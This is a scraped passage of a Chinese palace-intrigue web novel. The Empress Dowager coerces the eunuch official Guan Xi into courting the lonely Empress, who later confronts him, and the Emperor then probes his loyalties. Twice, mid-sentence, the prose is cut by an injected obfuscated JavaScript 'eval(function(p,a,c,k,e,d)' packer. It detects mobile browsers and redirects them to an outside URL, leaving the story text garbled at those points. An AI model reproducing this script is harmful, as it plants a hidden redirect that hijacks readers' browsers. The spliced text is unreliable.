每一个字,都像淬了毒的针,扎在关禧最敏感脆弱的神经上。他脸色惨白,身体无法抑制地颤抖起来,不是恐惧,而是愤怒和恶心。 她想把他训练成什么?一个专供皇后泄欲,高级一点的玩物。一个用美色和残缺身体作为工具,来牢牢控制皇后的棋子? “太后娘娘,”关禧抬起头,之前的恭顺隐忍荡然无存,“您是不是忘了,奴才再怎么卑贱,也是陛下亲封的内缉事厂提督,是朝廷命官!不是您永寿宫,更不是坤宁宫圈养的……脔宠!” 郑书意脸上的笑容终于淡了下去,“朝廷命官?”她重复,指尖在竹案上敲了敲,“关禧,你的一切是谁给的?没有哀家那夜手下留情,没有哀家之后睁一只眼闭一只眼,你以为,凭你那些小聪明,真能走到今天?皇帝能给你的,哀家能让你得到。皇帝不能容你的,哀家也能让你失去得无声无息。” 她站起身,居高临下地看着他,那股久居上位的威仪不再掩饰,如实质般压下,“别忘了楚玉,别忘了你手下那些人的性命,更别忘了……你自己是怎么活下来的。哀家能让你活,也能让你比死更难受。” 雨声骤然变大,噼里啪啦地敲打着竹叶和屋檐。 关禧僵坐在竹椅上,浑身冰冷,他知道她说的是真的,他根本没有拒绝的资本,他的命,他在意的人的命,甚至那点挣扎求存的余地,都捏在这个女人手里。 见他沉默,郑书意语气缓了缓,重新带上那副雍容又带着些许悲悯的面具:“关禧,哀家并非要折辱你。这也是给你一条更稳要的出路。皇后若真能倚重你,甚至……离不开你,你在后宫便多了一座最稳的靠山。这对你,对哀家,都是好事。皇帝那边,哀家自有说法。你只需按哀家说的,一步一步,走近她,让她习惯你,接纳你……” “想想楚玉。你若能在坤宁宫站稳脚跟,手里多些皇后的把柄或依赖,哀家对她,自然也会更宽容一些。你总不想看着她因为你,哪天悄无声息地消失在井里,或是突发急病吧?” 楚玉的名字,像最后一根稻草,压垮了关禧心头所有反抗的力气。 “……奴才明白了。” 他伸出手,端起那杯微烫的茶,凑到唇边,小口啜饮。 郑书意满意地看着他顺从的姿态,重新坐回竹椅,也端起自己的茶杯,“明白就好。你是聪明人,聪明人就该知道怎么把路走宽。皇后那边,不急,哀家会为你铺些台阶。眼下,倒有件小事……” “娘娘教导的是,”关禧打断她,放下茶杯,视线低垂,落在她交叠置于膝上戴着翡翠镯子的手腕上,那手腕纤细,肌肤保养得光洁如玉,指尖染着淡淡的蔻丹,“奴才确实该学得乖些。只是奴才愚笨,怕伺候不好皇后娘娘那般尊贵的人。娘娘久居深宫,见多识广,最懂人心……不知可否,再多指点奴才一二?” 这话乍听只是恳求教导,恭敬无比。可那微微拖长的尾音,那垂眸时睫毛恰到好处的轻颤,还有那视线有意无意掠过的位置……都透着一股难以言喻的暖昧。 郑书意的指尖顿了一瞬。 关禧浑然未觉,继续道:“奴才有时夜里惊醒,想起那晚……仍是后怕。可细想之下,若非娘娘让奴才疼了,怕了,看清了,奴才恐怕至今还做着一步登天的痴梦,不知何时就会粉身碎骨。娘娘……是用自己的方式,在教奴才保命。” 他抬起眼,这次终于看向了郑书意的脸,目光却不敢长久停留,只在她丰润的唇角和优美的下颌线上一掠而过,便受惊般迅速垂下,苍白的脸上浮起一抹淡的红晕。 “奴才身份卑贱,命如草芥。能得娘娘亲自教导,已是天大的福分。只是这教导太过刻骨,奴才每每想起娘娘……便觉敬畏入骨,又忍不住想,娘娘执掌六宫,母仪天下,日夜操劳,先帝爷去得早……” 他恰到好处地在这里停顿,“娘娘独自支撑这些年,定然……也十分辛苦吧?” “独自支撑”四个字,他说得极轻,却像一颗小石子,投入看似平静的深潭。 郑书意脸上的雍容笑意,彻底凝固了。 她握着茶杯的手指收紧,指节泛白。那双总是洞悉一切的杏眼,此刻锐利如刀,刮过关禧脸上每一寸细微的表情,试图分辨这其中有多少是刻意的撩拨,有多少是绝望下的反扑,又有多少……是连这少年自己也未必清楚对掌控者的挑衅。 先帝死了七年了。 后官佳丽三千,如今她是至高无上的太后,年轻皇帝的母后。可夜深人静时,永寿宫宽阔的殿宇里只有更漏声和佛堂经卷的冷香。那些曾与她争宠,又或被她打压的女人,如今或老去,或沉寂。皇帝对她敬畏多于亲近,朝臣对她奉承多于真心。她握有无人能及的权柄,却也坐在无人能及的孤寒之处。 这些,她从未对人言,甚至很少允许自己细想。 可眼前这个卑贱,被她用最不堪的方式折辱过掌控着的少年太监,却用这样一种混合着恐惧,试探,甚至可能连他自己都未觉察近乎诱惑的语调,轻轻戳破了这层华贵的伪装。 他是在报复。用他最微末的本钱,这张过分漂亮的脸,和这份洞悉人心弱点的敏锐,对她进行一场危险至极的撩拨。 他知道他动不了她的根本,但他或许可以,搅乱一池静水。 郑书意放下茶杯,瓷器与竹案相碰,发出一声清晰的脆响,在沙沙雨声中格外突兀。 她笑了一声,那笑声短促,带着嘲讽,又似乎有别的意味。 “关禧,”她叫他的名字,声音恢复了平日的平稳,甚至更温和了些,可那温和之下,是更加危险的寒冰,“你这点道行,也敢在哀家面前卖弄?” 关禧脸上那点强撑出来的脆弱红晕迅速褪去,变回苍白,他立刻深深低下头,姿态恭顺无比:“奴才不敢!奴才失言!请娘娘恕罪!”仿佛刚才那番话只是无心之失。 可郑书意已经站了起来。 她走到关禧面前,伸出手,用戴着坚硬玳瑁嵌宝石护甲的指尖,挑起了他的下巴,迫使他抬起头,迎上自己的目光。 两人的距离极近,近到关禧能看清她眼底每一丝纹路,能闻到她身上那股混合着顶级檀香与成熟女人体息的馥郁味道,更近地感受到那份无处不在的威压。 “你想让哀家指点你?”郑书意缓缓开口,每个字都像在舌尖滚过,她的指尖用力,护甲边缘几乎要嵌进他下巴柔嫩的皮肤里,“还是觉得,哀家这座靠山,比皇后那座更稳当?更值得你攀附?” “关禧,恨哀家,想报复哀家,是人之常情。可用这种方式……”她打量着他近在咫尺的脸,目光滑过他颤抖的睫毛,泛红的眼尾,最终落在他嫣红的唇上,眼神幽暗如深井,“你就不怕玩火自焚?哀家能给你的教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230659|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导,可远不止春风一度那么简单。” 这是警告,也是挑明。她看穿了他的意图,并且毫不避讳地将他那点报复性的勾引,摆在了明面上。 关禧的心脏在胸腔里狂跳,几乎要撞碎肋骨。恐惧攫住了他,可与此同时,一股更强烈,破罐子破摔般的逆反情绪也在心底滋生。既然无论如何都逃不脱这女人的掌控,既然她要把自己训练成讨好皇后的玩物…… 他迎着她审视的目光,极轻微地用被抬起下巴的脸颊,蹭了蹭她冰凉的护甲边缘。 一个挑逗的动作。 然后,他吐出一句模糊的话: “奴才的命……早就是娘娘的了。焚了……也是娘娘的灰。” 郑书意捏着他下巴的指尖,骤然收紧了。 尖锐的护甲边缘更深地陷进皮肉,带来清晰的痛楚,可这痛楚,混合着一种施虐与受虐间才能体会到的战栗,电流般窜过他的脊椎,关禧没有躲,连眼睛都没有眨一下,那双氤氲着水汽和复杂情绪的风眼,直直地望着她,望着她眼底那片骤然翻涌起风暴的深海。 “娘娘的灰?”郑书意重复着这四个字,俯身更近,那张保养得宜风韵并存的脸庞几乎贴上关禧的,温热的呼吸拂过他的皮肤,“关禧,你知不知道,哀家最讨厌的,就是有人自作聪明,尤其是……拿这副皮囊,自作聪明。你以为哀家会像那些没见过世面的深宫怨妇,被你这点上不得台面的小把戏撩拨?还是觉得,先帝去得久了,哀家就饥不择食,连你这样的残躯,也看得上眼?” 每一个字都刻薄至极,将关禧那点隐秘的报复和试探撕扯得鲜血淋漓,他脸上最后一点血色也褪尽了,可眼底深处那簇不甘的火焰,却在她这般直白的羞辱下,烧得更旺。 他喉咙滚动,声音嘶哑得不成样子:“奴才不敢。奴才只是觉得,娘娘独自撑着这江山,太累。奴才卑贱无用,若连当个让娘娘解闷、出气的玩意儿都不配……那这条命,留着也没意思了。” 他这话说得极其卑微,甚至自轻自贱到了泥土里。 郑书意盯着他,良久,忽然松开了手。 关禧猝不及防,下巴上留下几道清晰的红痕,他身体晃了晃,差点没坐稳。 郑书意直起身,掏出一方素白的丝帕,慢条斯理地擦拭着自己刚才捏过他下巴的手指,仿佛碰触了什么不洁之物。她的表情恢复了惯常的平静雍容,唇角挂上了那丝淡而莫测的笑意。 “出气的玩意儿?”她将用过的丝帕随手丢在竹案上,那帕子轻飘飘落下,盖住了关禧那杯没喝完的茶,“你倒是会给自己找位置。” 她踱步走回自己的座位,重新坐下,端起已经微凉的茶,呷了一口。 “不过,你既然有这份孝心,哀家也不好全然驳了。皇后那边,你照哀家的意思去做。至于哀家这里。” 她顿了顿,指尖在杯沿轻轻画着圈。 “哀家累了的时候,或许……真会想看看,你这玩意儿,能翻出什么新花样来解闷。只是关禧,你记好了。” 她的语气陡然转冷,那玩味之下,是毫不掩饰的警告,“哀家给你的,才是你的。哀家没给的,你想也别想。更不要试图用你那些小心思,来揣测、拿捏哀家。下一次,若再让哀家觉得你越了界……” 她没有说完,但未尽之意,比任何具体的威胁都更令人胆寒。 关禧伏下身,额头抵着冰凉的竹制地面,声音闷闷地传来:“奴才谨记娘娘教诲。绝不敢再越雷池半步。” “记住就好。”郑书意放下茶杯,望向檐外渐渐停歇的雨丝,“今日就到这儿吧。回去好好准备,哀家等着看你的表现。” 关禧保持着跪伏的姿势,直到听见郑书意起身,衣裙窸窣声远去,精舍的门被掩上,只剩下他一个人。 他才直起身,下巴上的刺痛清晰。他抬手,指尖轻轻碰了碰那红痕,眼神晦暗不明。 玩火自焚吗? 或许吧。 但既然这火坑他注定要跳,那在彻底焚毁之前,他也要拉着这掌控一切的人,一起尝尝这灼热的滋味。 他捡起地上那把湿漉漉的油纸伞,撑开,重新走入渐渐沥沥的细雨之中。 99.第 102 章 关禧回到乾元殿那处僻静小院,双喜和贵平早已备好了热水和干净衣物,见他神色冷凝,下巴上带着可疑红痕,俱是心头一紧,却不敢多问,伺候他更衣洗漱。 关禧换了身干爽的靛青色常服,坐在书案后,望着窗外被雨洗过的青石地面,眼神空洞了片刻,旋即凝聚起锐利的光。 太后的话,像毒藤一样缠绕着他。去坤宁宫,接近皇后。这不仅仅是一个屈辱的命令,更是一个凶险万分的棋局。他必须走,但怎么走,何时走,走到哪一步,必须由他自己掌控。 借口?现成的就有。皇长子交由皇后抚养,内缉事厂负有稽查宫闱,通达消息之责,以协查皇长子身边人员背景,确保坤宁宫安全为由,定期前往禀报请教,合情合理。皇帝那边,只要他禀报时措辞得当,强调这是为了保障皇子安危,维护中宫体面,萧衍即便心中有些微异样,于情于理也难以驳回。甚至,这可以成为他向皇帝展示忠诚勤勉的另一个侧面。 至于太后那边,自然会适时地递来台阶和指点。 果然,三日后,一个寻常的午后,关禧正在内缉事厂衙署(已从旧库房搬至更正式,戒备更森严的东安门内北新址)翻阅卷宗,一个面生的小太监悄无声息地进来,将一个素面荷包放在他案头,躬身退走,全程未发一言。 关禧打开荷包,里面没有只字片语,只有几样东西:一小盒胭脂膏子,色泽是极为端庄柔和的绛红色,香气淡雅,一枚小巧的羊脂白玉平安扣,玉质温润,雕工简洁,还有一页裁剪整齐的洒金笺,上面用娟秀的簪花小楷抄录了一阕词,是前朝某位女词人的伤春之作,词句清丽婉约,透着淡淡的闺中寂寥。 东西本身不贵重,有些寻常。但关禧立刻明白了其中的含义。 太后在告诉他:皇后不喜浓艳,偏好端庄雅致的绛红,藕荷,月白等色,首饰不爱繁复,独爱玉器,尤重温润质感,性情内敛,好读书,尤爱婉约诗词,心思细腻敏感,易为伤春悲秋,身世飘零之句触动。 这是投其所好的饵料。 关禧捏着那页洒金笺,指尖用力。太后对皇后的了解,果然深入骨髓。这些信息看似琐碎,却直指人心最柔软处。用这些东西,加上他这张脸和刻意营造的知音姿态,去叩击一个常年寂寞,情感空虚的中宫之主的心扉……成功的概率,恐怕不低。 他将东西仔细收好,不留痕迹。 接下来数日,关禧更加勤勉于厂务,将皇长子出生前后,玉芙宫,坤宁宫乃至相关宫人,太医,稳婆的背景履历,人际关系,银钱往来,梳理得井井有条,整理成数份条理清晰,数据确凿的密报。其中大部分是真实无害的,但也刻意夹杂了一些经过修饰,模糊了指向性的疑点,比如某个坤宁宫老嬷嬷的远亲似乎在徐家某个旁支的铺子里做过管事,又比如曾为徐宛白诊脉的某位太医,其师弟与皇后娘家柳氏某位清客是同年。 这些疑点真真假假,难以立刻查实,也未必真有阴谋,却能营造出一种各方势力盘根错节,需时刻警惕的氛围,为他频繁出入坤宁宫提供了绝佳的工作理由。 第一次正式前往坤宁宫禀报,是在一个春光明媚的上午。 关禧身着绯红蟒袍,手持一叠卷宗,神情肃穆。 通报后,他被引入坤宁宫偏殿。柳心溪端坐主位,衣着比那日接旨时更正式些,一身靛青色织金凤纹宫装,发髻梳得一丝不苟,簪着简单的珠翠,脸上薄施脂粉,还是那副端庄到近乎刻板的模样,只是眉眼间挥之不去的倦色,在明亮的光线下更为明显。 “奴才关禧,叩见皇后娘娘。”关禧依礼跪拜。 “关提督平身。”柳心溪的声音平稳,“赐坐。” “谢娘娘。”关禧在下首的绣墩上坐了半边,姿态恭谨,“奴才今日前来,是为禀报近日内缉事厂协查皇长子殿下身边一应人等背景之初步结果,并呈上相关卷录,请娘娘御览。” 他将手中卷宗恭敬呈上,由宫女转递。 柳心溪接过,并未立刻翻阅,目光落在关禧脸上,似在审视:“有劳关提督。此事关乎皇子安危,确需谨慎。提督办事,陛下与本宫都是放心的。” “奴才分内之事,不敢言劳。”关禧垂眸,“只是涉事人员众多,关系网繁杂,奴才愚钝,梳理之下,发现些许细微末节,虽未必有碍,但觉应向娘娘禀明,以防万一。” 他语速平缓,条理清晰地将那几个疑点一一陈述,既不夸大其词,也不轻描淡写,最后总结道:“……以上诸般,目前并无实证指向任何不轨,或仅为巧合。然皇子乃国本,千系重大,奴才以为,谨慎起见,相关人等可暂加留意,日常用度、接触之人亦需更为小心。内厂会加派人手,暗中维护坤宁宫外围安宁。” 他的汇报公事公办,毫无逾矩,完全是一副忠心为主,思虑周全的能臣模样。 柳心溪静静听着,指尖划过卷宗边缘。关禧提到的一些名字和关系,有些她略有耳闻,有些则全然陌生。无论真假,这番汇报至少表明了这个年轻的提督确实在认真办事,且思虑细致。 “关提督思虑周详,本宫知道了。”柳心溪颔首,“这些卷录本宫会细看。日后有关皇子及宫闱安宁之事,提督可随时来报。” “奴才遵命。”关禧应下,顿了顿,似有犹豫,抬眼飞快地看了柳心溪一眼,又迅速垂下,“另有一事……奴才斗胆。前日整理旧档,偶见一页前朝诗词,文辞清丽,意境……颇合这春日寂寥之景。奴才想着,娘娘平日协理六宫,劳心费神,或可藉此聊解烦闷。” 说着,他从袖中取出一个素雅的信封,双手奉上,“奴才鄙陋,不知娘娘喜好,若有不妥,万望娘娘恕罪。” 柳心溪微怔。太监向她进献诗词?这倒是罕见。她目光落在那个素雅的信封上,又看了看关禧低垂的线条优美侧脸和那截白皙修长的手指。少年太监的姿态恭敬中带着一丝不易察觉的忐忑,仿佛真的只是献宝又怕唐突。 她示意宫女接过信封,淡淡道:“关提督有心了。” 第一次接触,点到即止。关禧不再多言,恭敬告退。 接下来的日子,关禧去坤宁宫的频率逐渐固定下来,大约五七日一次。 每次都有正事可禀:或是发现某处宫墙年久失修已提请修缮,或是风闻某位低位嫔妃宫人言行略有失当,或是呈上一些关于皇子养育的民间偏方记载。他的汇报总是翔实有据,态度始终恭谨得体,绝口不提任何敏感或越界的话题。 柳心溪起初只是例行公事地听取,渐渐也会问上一两句细节,甚至偶尔会对某个疑点提出自己的看法。 关禧总能适时接话,言语间流露出对皇后见解的钦佩,以及一种愿为娘娘分忧的诚恳。 那页诗词,柳心溪后来看了。词句确实清婉,是她偏好的风格。她将薛涛笺收在了妆匣底层,未与任何人言。 而关禧在第三次前往坤宁宫时,偶然提起自己闲暇时亦喜读些诗词,尤爱其中描摹女子心绪的婉约之作,可惜无人可交流,只能暗自揣摩。 柳心溪闻言,抬眼看了他片刻,只道:“不想关提督还有此雅好。” 关禧适时露出一点赧然:“奴才胡乱看看,让娘娘见笑了。” 话题没有继续,隔阂似乎又消融了一分。 关禧对内缉事厂的掌控,也在悄然收紧。 何璋,这位皇帝当初拨给他看似得用的掌班,关禧从未真正放心,他升任提督后,何璋表面恭顺,办事也算得力,但关禧能感觉到对方那双眼睛里,除了对权势的渴望,还有一种属于监视者的审慎。何璋与乾元殿孙得禄乃至司礼监某些中层的往来,或许只是寻常人情,或许不尽然。 早在永昌六年初春,借着内缉事厂职能扩展,人手增加的机会,关禧开始进行一系列理所当然的调整。 他以提高效率,细化职责为由,将侦缉,审讯,档案,后勤等职能明确分割,设立了几个新的司房,提拔了一批在之前办事中表现出色,背景相对简单,或被他暗中拿捏住把柄的中低层太监担任司房管事。 这些人未必有多大才能,但胜在听话,且提拔之恩来自关禧。 何璋的掌班之职保留,名义上总管各司房,但关禧通过直接向各司房管事下达指令,听取汇报,绕开了何璋的中间环节。 重要的密报卷宗,关禧要求直接送至他的值房或乾元殿住处,由他亲自归档锁入特制的铁柜,只将经过筛选,抄录的副本交予何璋处理日常庶务。 对于何璋本人,关禧给予足够的尊重和表面上的信任,一些无关痛痒的外围事务与其他衙门的普通往来,依旧交由他处理,赏赐也从不吝啬。 可在核心情报和人事任命上,何璋被不动声色地边缘化了。 何璋不是蠢人,自然察觉到了变化。他曾试图以汇报工作的名义接近核心卷宗,或以为督主分忧为由探听某些敏感调查的进展,都被关禧以陛下另有安排或此事尚未分明,不宜外泄等理由挡了回去。 几次试探无果,加上关禧表面功夫做得足,何璋也只能按下不满和疑虑,继续扮演他得力副手的角色,只是私下与某些方面的联系,似乎更频繁隐秘了些。 关禧冷眼旁观,心中了然。 何璋是皇帝的眼线无疑,至少是之一。 皇帝需要知道内缉事厂这把刀的动向,需要确保这把刀不会完全失控。留着何璋,既是稳住皇帝,也是给自己留一个可控的泄密渠道,有些他想让皇帝知道,又不便直接言明的事情,可以通过何璋自然而然地传递过去。 至于太后那边,除了最初那份饵料,后续的指点也断断续续而来,有时是关于皇后近日心情的揣测,有时是看似无关的宫廷琐闻。 关禧照单全收,谨慎甄别,将其融入自己的行动中。 他送给皇后的第二份小礼物,是一盒掺了微量龙脑香的绛红色胭脂,香气清冽提神,附言只道“偶得此物,香气别致,或可解娘娘批阅宫务之乏”。 东西由坤宁宫一个不起眼的小宫女呈给皇后。柳心溪用过一次,确实觉着清爽,而那颜色,正是她近日衣衫常用的色调。 第三次,他在一次例行禀报后,似是随口提及御花园某处偏僻角落的海棠开得极好,可位置不佳,少人观赏,空负韶华,言辞间带着一丝文人式的感伤。 柳心溪当时未置可否,但两日后,关禧偶然在太后处请安后路过御花园那角落,便巧遇了正在海棠树下独自站立的皇后。 春风拂过,落英缤纷。 两人隔着几步距离,一时俱是无言。 最后还是关禧率先行礼,低声道:“娘娘也来赏花?此处清静,花开得也好。” 柳心溪看着他被花瓣沾染的肩头,和他低垂在花影中显得格外柔和俊美的侧脸,沉默片刻,才道:“嗯,偶然走到此处。关提督也好雅兴。” 关禧维持着行礼的姿势,能清晰感觉到皇后落在他身上的目光,比平日多了几分审视,少了几分疏离。 这是一个私密的时刻。四周无人,只有簌簌落花与偶尔穿林而过的风声。 关禧心念电转,正准备开口,或许可以借着这偶然的巧遇,说些更贴近私语的言辞,试探那层薄冰之下,是否真如太后所料,有寂寞的裂痕。 他抬首,唇瓣轻启:“娘娘……” “关提督。” 柳心溪却打断了他,向前走了半步,目光不再看花,直直地看进关禧眼中,那里面没有欣赏,只有洞悉一切的疲惫,和一丝压抑的恼怒。 “本宫不是傻子。” 关禧心头一沉,所有预先演练过的温言软语都堵在了喉咙里,他维持着面上的平静,适当流露出一点恰到好处的愕然:“娘娘何出此言?奴才……” “何出此言?”柳心溪嘴角扯起一个自嘲的弧度,“关禧,你算过没有,这几个月里,你来本宫的坤宁宫,比皇上这六年来踏足的次数,还要多。” 她顿了顿,每个字都像冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235285|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠砸在石板上:“每次都有冠冕堂皇的理由。宫务,皇子,安全,甚至诗词香粉……关提督,你这内缉事厂提督,当得真是无微不至,体贴入微啊。” 关禧背脊绷紧,他知道皇后心思缜密,却没想到她会在此时,此地,以这种方式直接捅破这层窗户纸,他垂下眼睑,姿态放得更低:“奴才……只是尽本分。皇子事关重大,娘娘凤体康泰亦系后宫安宁,奴才不敢不尽心。” “尽心?”柳心溪轻笑一声,那笑声里毫无温度,“是尽太后的心,还是尽你自己的心?” 她上前一步,两人距离近得关禧能闻到她身上那股混合着淡淡檀香和胭脂的清冷气息,也能看清她眼底压抑的波澜,“太后让你来的,对吧?本宫早该想到。从你去岁元日后还能好端端站在这里,从你突然得了陛下青眼又能在宫里步步为营……没有永寿宫的手笔,怎么可能?” 她眯起眼,目光锐利:“她想干什么?让你来蛊惑本宫?拉本宫下水?觉得本宫这中宫之位坐得太稳,太冷清,需要些……见不得光的慰藉?” 关禧呼吸一滞。皇后比他预想的更清醒,也更尖锐。她不仅看穿了太后的意图,还直接点明了那最不堪的可能。 “娘娘明鉴,奴才卑贱之躯,岂敢存此妄念,玷污娘娘清誉?太后娘娘或许……或许只是关心娘娘,觉得娘娘操劳……” “关心?”柳心溪截断他,眼神里浮现出清晰的讥诮和痛楚,“她关心的是如何把所有人都变成她棋盘上的棋子,如何让这后宫所有人都逃不出她的掌心。皇帝……皇帝他……”她猛地住口,胸口起伏,将那句对皇帝的幽怨硬生生咽了回去,转而盯着关禧,语气更冷,“她是不是觉得,给了本宫一个皇子抚养,本宫就该感恩戴德,连自己的心和身子都要双手奉上,任她摆布?” “关禧,你回去告诉她,”柳心溪挺直了背脊,那份属于皇后的威仪此刻凛然不可侵犯,“本宫是柳家的女儿,是大晟的皇后。这辈子,生是皇帝的人,死是皇家的鬼。或许不得圣心,或许寂寞冷清,但对不起皇帝、对不起祖宗礼法的事,本宫一件也不会做。让她趁早死了这条心。” 这番话掷地有声,带着决绝的意味。 春风拂过,吹落更多海棠,落在两人之间,像一道无声的屏障。 关禧静静地听着,心中却飞速盘算。皇后的反应激烈,但不是完全出乎意料。她的骄傲和从小浸淫的礼教,是她最坚固的铠甲,也是太后计划中最难攻克的一环。直接否认或辩解都无用,甚至可能激化她的抗拒。 “娘娘,您说的对,也不全对。” 柳心溪蹙眉看着他。 “奴才是太后娘娘手中的棋子,这一点,奴才从未妄想过能瞒过娘娘。”关禧缓缓道,目光坦然地迎视着她,“娘娘可知,做棋子的滋味?” “有些教导,刻骨铭心。太后娘娘想让奴才往东,奴才不敢往西。她让奴才来坤宁宫,奴才就必须来。次数多少,理由为何……奴才说了不算。” 这话半真半假,将他自己置于完全被动,受害的位置。 “但是,奴才每次来坤宁宫,所言所查,桩桩件件,关乎皇子,关乎宫闱,皆出自真心,绝无虚假构陷。奴才的差事是陛下给的,护卫皇子、协理宫闱是奴才的本分。即便……即便最初是奉了太后的命踏入这道门,可奴才的眼睛不瞎,心也没死。” 他向前倾身,声音压得更低:“娘娘说您不会做对不起皇上、对不起礼法的事。奴才信。因为娘娘是皇后,是这后宫最重规矩、最清明的人。可娘娘,您在这宫里六年,看得比奴才清楚。有些风雨,不是您关起门来,就能躲得过的。” “太后娘娘想什么,奴才不敢妄断。但奴才只知道,如今皇子在坤宁宫,无数双眼睛盯着这里。有玉芙宫恨意难消的,有前朝心思各异的,也有……永寿宫时刻审视的。娘娘清者自清,固然可贵。可若有人不想让您清静,非要在这池水里搅起漩涡呢?奴才多来几次,把该查的、该防的摆在明面上,把可能的隐患提前掐灭,或许……反而能让一些暗处的算计,无从下手。” “奴才确实别有目的,”关禧直视着柳心溪动摇的眼睛,语气恳切,“但这目的,或许与娘娘担忧的有所不同。奴才想在这夹缝里活下去,想办好陛下交代的差事,也想……让这坤宁宫,让皇子殿下,能真正安稳。娘娘若觉得奴才碍眼,觉得奴才此举冒犯,奴才今日回去,便可以向陛下请辞这协理坤宁宫安危的差事,从此不再踏足半步。只是……” “只是届时,换了别人来,是否还能如奴才这般,将一应琐碎隐患查报得清清楚楚,是否还能……在太后娘娘问起时,为娘娘多言几句一切如常,皇后娘娘恪守本分,无可挑剔?” 话音落下,林间寂静。 柳心溪怔怔地看着他,他承认了太后的操控,却也表明了自己并非全然被动,甚至有借力打力,寻求共存的心思,他将自己的进退维谷摊开在她面前,也将坤宁宫可能面临的潜在风险点了出来。 最重要的是,他给出了一个选择:是留着一个知根知底,至少表面恭顺且能办事的棋子在明处,还是换一个未知的,可能更麻烦的眼线? 良久,她缓缓吐出一口气,眼中的凌厉褪去些许。 “你倒是会说话。”她淡淡道,转身,不再看他,望向那株繁盛的海棠,“本宫今日乏了,你退下吧。至于差事……陛下既委了你,便好好办着。该来的禀报,照旧。只是关提督,” 她侧过脸,余光扫过关禧:“记住你自己的话。坤宁宫要的是安稳,是清净。哪些心思该有,哪些不该有,你是个聪明人,想必清楚。” 这就是默许了。默许他继续往来,但划清了界限。 关禧心中绷紧的弦一松,知道今日这关,算是险险过了。他深深一揖:“奴才谨记娘娘教诲。谢娘娘。” 他不再多言,恭敬地后退几步,转身,沿着来路悄然离去,绯红的身影很快没入海棠花影深处。 100.第 104 章 乾元殿西暖阁。 萧衍已换了另一身更闲适的玄色绣银线暗龙纹常服,宽大的袖口随意挽起一截,露出线条流畅的小臂,他斜倚在临窗一张铺设着墨绿色锦缎坐褥的紫檀木榻上,手里握着一卷书,目光却落在窗外渐次亮起的宫灯上,有些漫不经心。 关禧踏入暖阁时,看到的便是这样一幅画面。皇帝侧影在黄昏的光晕里显得格外修长,少了几分朝堂上的凛冽,多了些难以捉摸的慵懒,可那通身的气度,让人不敢有半分松懈。 “奴才关禧,叩见陛下。”他撩袍跪倒,绯红的蟒袍下摆铺开在地面上。 “起来吧。过来坐。” 关禧起身,依言走到榻前不远处的绣墩旁,只坐了半边,背脊挺直,双手规矩放在膝上,垂着眼睑。 萧衍放下书卷,语气像闲谈,“今日召你来,也没什么要紧事。只是朕前几日,去了趟承华宫。” 关禧恭敬地“嗯”了一声,表示在听。 “冯昭仪还是老样子,温婉懂事,将承华宫打理得井井有条,朕与她说了会儿话,倒也觉得清净。”萧衍像是陷入了回忆,指尖摩挲着书卷的边缘,“说起来,你当初也是从承华宫出来的。冯昭仪倒是给朕举荐了个不错的人。” “奴才惶恐,全赖陛下不弃,冯昭仪娘娘教导之恩,奴才时刻铭记。”关禧回答得滴水不漏。 萧衍轻笑了一声,那笑声短促,意味不明。他身体前倾,目光落在关禧脸上,“冯昭仪同朕聊起你时,倒是说了件有趣的事。她说你心思细,学东西快,难得的是心性似乎与寻常内侍有些不同。” “朕当时便问,有何不同?冯昭仪笑了笑,说她也说不太清,只是觉得你似乎对女子的东西,格外留意些?譬如诗词里的闺阁情思,或是女子用的香粉胭脂,总能品出些门道来。她还打趣说,若非知道你已净了身,倒要怀疑你是不是……”萧衍没有说完,留下一个意味深长的停顿。 关禧的呼吸屏住了一瞬,指尖在袖中蜷起。冯媛会这么说?不,绝不可能。冯媛是何等谨慎通透之人,即便察觉他对楚玉有异样情愫,也绝无可能在皇帝面前用这种方式打趣透露。 这分明是……皇帝的试探,甚至可能是信口编造的圈套! 他脑中急转,无数念头闪过。皇帝为何突然提起这个?是察觉了什么?还是仅仅因为对他这个人,产生了超出臣子或工具的兴趣? 是了,他如今十六七岁,褪去了刚入宫时的瘦弱青涩,身体在楚玉暗中调理和自己刻意锻炼下,已如春日抽条的柳枝,显露出男子特有的清韧挺拔。这张脸更是长开了些,丹凤眼潋滟,鼻梁挺直,唇形优美,肤色因常年少见日光显得苍白细腻,在绯红官袍的映衬下,越发阴柔俊美。皇帝当初将他从冯媛那里要来,或许本就存了几分将来收用的心思,只是看他能力不错,又逢多事之秋,暂且按下。如今他地位渐稳,容貌愈盛,皇帝那点心思怕是又活络起来了。 而皇帝真正在意的,或许并非他喜欢女人这个模糊的指向,是他是否心中有不可控的挂碍,是否有脱离掌控的隐秘心思。尤其是,若这心思牵扯到后宫女子,更是大忌。皇帝这是在敲打,也是在清除可能的障碍,为下一步铺路? 电光石火间,关禧已有了决断。 